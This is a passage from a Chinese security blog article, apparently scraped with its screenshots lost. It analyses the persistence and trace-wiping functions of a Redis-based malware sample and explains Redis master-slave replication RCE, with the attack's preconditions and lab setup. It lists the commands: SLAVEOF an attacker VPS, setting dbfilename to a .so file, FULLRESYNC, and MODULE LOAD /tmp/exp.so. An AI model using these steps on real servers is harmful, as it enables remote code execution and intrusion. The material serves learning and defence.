对一次 redis 未授权写入攻击的分析以及学习( 三 )


下图为检测服务里面的内容是不是自定义的

对一次 redis 未授权写入攻击的分析以及学习

文章插图
 
如果是的话就添加到系统服务并开启
对一次 redis 未授权写入攻击的分析以及学习

文章插图
 
如果检测到内容已经被修改了,那么就删除这个服务,并重新创建
对一次 redis 未授权写入攻击的分析以及学习

文章插图
 
11.clean()
该函数的主要作用是删除一些留下的痕迹,包括 history 和登录痕迹等
对一次 redis 未授权写入攻击的分析以及学习

文章插图
 
0X03 利用 Redis 主从复制来 RCE
1.基本原理
该攻击方法使用的是 Redis 中的主从复制,以及 Redis4.x 中新引入的自定义模块加载功能 。
(1)先简单解释一下这两个概念
主从复制的概念:
Redis是一个使用ANSI C编写的开源、支持网络、基于内存、可选持久性的键值对存储数据库 。虽然 Redi s 的读写速度都非常快,但如果当把数据都存储在单个Redis的实例中,供客户端去读取的话,那么很有可能会产生服务器难以承受的读压力 。
为了缓解这样的压力,主从复制这样的机制出现了,主从模式就是指使用 一个 redis实例作为主机(master),其他实例 都 作为从机(slave),主机只负责写入数据,很多的从机负责读,这就很想我们常常说的 CDN 负载均衡的功能,如下图所示
对一次 redis 未授权写入攻击的分析以及学习

文章插图
 
那么主从复制是如何进行的呢?
对一次 redis 未授权写入攻击的分析以及学习

文章插图
 
我们重点关注 RDB 文件部分,我们可以发现主从复制依赖的还是我们之前经常利用的 RDB 文件,slave 与 master 的同步就和 MySQL 使用 Binlog 去恢复数据是一样的 。
Redis 4.x 自定义模块加载:
Redis从4.0版本开始加入了对外部扩展模块的支持(其实以前在unstable的版本时 redis 就支持社区的自定义模块了) 。外部扩展模块可以实现新的Redis命令,新的Redis数据结构,总之基本上可以做到所有Redis内核可以做的事情 。
Redis模块需要引入redismodule.h,用C、C++或其他提供C binding的开发语言实现,并编译成动态库.so文件 。
模块的加载方式,一种是在配置文件redis.conf中使用loadmodule /path/to/mymodule.so在Redis启动时加载 。另一种方式在运行时使用命令MODULE LOAD /path/to/mymodule.so加载 。加载的模块可以使用命令MODULE LIST查看,使用MODULE UNLOAD mymodule卸载 。
加载了模块以后我们就能直接执行我们在模块中自定义的命令了,这是不是有点像 MYSQL 的 UDF(其实就是一个道理)
(2)将两者配合起来
slave 能主从复制机制从 master 获取到 rdb 文件,那么我们是不是可以自己写一个 “流氓服务器” 去模拟 master 然后将我们自定义的模块通过这种主从复制机制传递到 slave 上,slave 端只要将,我们传递来的 rdb 文件保存成一个 .so 文件然后再去进行模块加载,我们的攻击就完成了
2.该种利用方法的优点
使用这种攻击方法就可以完美的解决下面两个问题,直接实现在目标机器上 RCE
1.高版本 redis 启动默认是以 redis 权限启动的,这也就意味着,我们没法写 crontab(写文件形式修改 crontab 被禁用,只能通过交互 crontab -e 进行修改,但是对我们没有用),可以写 redis 用户的 ssh key,但是由于是低权限用户,危害较小,当然我们可以写 webshell(前提是这台服务器上有装 web 服务)
2.ubuntu 服务器实际上用 bash 反弹比较费劲,只能考虑使用 python
3.利用条件
Redis 4.x
可以远程连接到目标 redis 服务器
4.利用的基本步骤
其实上面我们已经说了,这里再细化一下
(1)在目标上执行, 将自己vps设置为master: SLAVEOF vps port
(2)在目标上执行,设置一下 dbfilename 为 xxx.so 文件
(3)通过同步,将模块文件写到目标的磁盘上: FULLRESYNC <Z*40> 1rn$ rn (4)在目标上执行,加载模块: MODULE LOAD /tmp/exp.so
5.利用演示
(1)下载 redis 4.0 镜像作为受害靶机
docker pull redis:4.0(2)交互方式运行镜像,将 6379 端口映射到主机的 6666 端口
docker run -p 6666:6379 -it 67f7ad418fdf /bin/bash(3)在 docker 中启动 redis 服务
redis-server(4)启动以后我们可以远程连接看一下效果
对一次 redis 未授权写入攻击的分析以及学习

文章插图


推荐阅读